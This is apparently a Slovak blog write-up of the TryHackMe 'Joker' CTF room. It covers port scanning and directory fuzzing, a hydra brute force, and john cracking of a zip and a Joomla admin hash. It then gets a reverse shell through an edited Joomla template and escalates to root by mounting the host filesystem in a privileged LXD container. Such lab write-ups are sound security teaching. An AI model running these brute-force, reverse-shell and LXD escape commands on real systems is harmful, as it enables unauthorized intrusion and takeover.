Príspevok

TryHackMe - Joker CTF

Eskalácia privilégií pomocou Linuxových kontajnerov? (LXD)

TryHackMe - Joker CTF

Úvod

Veľmi zaujímavá výzva, bolo to prvýkrát, čo som prakticky využil Linuxové kontajnery.

Zdá sa, že máme aj základné informácie o krokoch, ktoré by sme mali nasledovať:

  1. Vymenujte služby
    • Nmap
  2. Bruteforce
    • Vykonávanie Bruteforce na súboroch pomocou http
    • Vykonávanie Bruteforce na základnej autentizácii
  3. Crackovanie hashu
    • Vykonávanie Bruteforce na hash na cracknutie súboru zip
    • Vykonávanie Bruteforce na hash na cracknutie mysql používateľa
  4. Zneužitie
    • Získanie spätného spojenia (Reverse shell)
    • Vytvorenie TTY Shell
  5. Eskalácia privilégií
    • Získajte root s využitím nedostatkov v LXD

Toto je metodológia používaná vo väčšine strojov, takže je dobré mať nejaké základné pokyny.

Tryhackme Room Link

Nmap

Začnime nmap skenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
|   256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_  256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Otvorené porty: 22/tcp 80/tcp 8080/tcp

Otázka: Aká je verzia Apache?

Odpoveď:

1
2.4.29

Pri pokuse o prístup k portu záložnej webovej stránky 8080/tcp sme požiadaní o prihlasovacie údaje.

Otázka: Ktorý port na tomto stroji nemusí byť overený menom a heslom?

Odpoveď:

1
80

Prieskum

Otázka: Na tomto porte je súbor, ktorý sa zdá byť tajný, čo to je?

1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt              [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]

Odpoveď:

1
secret.txt

Poďme navštíviť 10.10.204.243/secret.txt

Secret.txt

Zdá sa, že máme 2 možných používateľov: joker a batman

Otázka: Existuje ďalší súbor, ktorý odhaľuje informácie o backende, aký to je?

1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124 
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html              [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php             [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]

Odpoveď:

1
phpinfo.php

Otázka: Pri čítaní tajného súboru zistíme, že konverzácia obsahuje aspoň dvoch používateľov a niektoré kľúčové slová, ktoré môžu byť zaujímavé. Ktorý používateľ to podľa vás je?

Odpoveď:

1
joker

Otázka: Ktorý port na tomto počítači musí byť overený základným overovacím mechanizmom?

Odpoveď:

1
8080

Otázka: V tomto bode máme jedného používateľa a adresu URL, ktorú je potrebné overiť, brute forcom získať heslo. Aké je to heslo?

1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get 

Odpoveď:

1
<CENSORED>

Použijeme na to gobuster, pretože je jednoduchšie ho používať s prihlasovacími údajmi

1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator 

Odpoved:

1
/administrator/

Rshell

Otázka: Potrebujeme prístup k administrácii stránky, aby sme získali shell, existuje záložný súbor, čo je to za súbor?

No, sme nútení použiť nikto, keďže som nemohol nájsť nič cez gobuster ani ffuf

1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED> 
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html

Odpoveď:

1
backup.zip

Otázka: Máme záložný súbor a teraz by sme mali hľadať nejaké informácie, napríklad databázu, konfiguračné súbory atď… Ale zdá sa, že záložný súbor je zašifrovaný. Aké je heslo?

Musíme prelomiť heslo na zip súbor pomocou john

1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash                                                                                            
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED>           (backup.zip)     
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Odpoveď:

1
<CENSORED>

Otázka: Pamätajte, že… Potrebujeme prístup do administrácie stránky… Bla bla bla. V našom novom objave vidíme niektoré súbory, ktoré obsahujú zaujimavé informácie, možno db? ok, čo keby sme obnovili databázu! Niektoré tabuľky musia mať niečo ako user_table! Čo je super duper používateľ?

Po skontrolovaní súboru joombadb.sql môžeme vidieť super duper user

Odpoveď:

1
admin

Otázka: Super duper užívateľ! Aké je heslo?

1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED>        (?)     
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Odpoveď:

1
<CENSORED>

Počiatočný prístup

Ok, po troche skúmania som našiel spôsob, ako dať reverzný shell. V časti Extension > Templates > Templates

Rshell1

Môžeme sa pozrieť na Beez3 a vidíme, že sme schopní upravovať súbory php Vložme tam reverzný shell, po spustení nášho lokálneho poslucháča môžeme kliknúť na Template Preview

Rshell2

1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:45:34 up  1:09,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Otázka: V tomto bode by ste mali nahrať reverzný shell, aby ste získali prístup k shellu. Aký je vlastník tejto relácie?

Odpoveď:

1
www-data

Otázka: Tento používateľ patrí do skupiny, ktorá sa líši vo vašej vlastnej skupine. Čo je táto skupina?

1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Odpoveď:

1
lxd

Spawneme si tty shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Eskalácia Privilégií

Keďže sme členom skupiny lxd, chce to, aby sme používali linuxové kontajnery na eskaláciu privilégií. Po nejakom tom skúmani, v podstate potrebujeme:

  1. Nainštalovať stroj lxc alpine na náš stroj útočníka
  2. Nastaviť ho podľa návodu na privilege escalation
  3. Hostnúť u seba http server
  4. Stiahnuť si image na cieľovú mašinu
  5. Spustiť image a dostaneme root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

Otázka: Aký je názov súboru v adresári /root?

Odpoveď:

1
<CENSORED>.txt
Tento príspevok je licencovaný pod CC BY 4.0 autorom.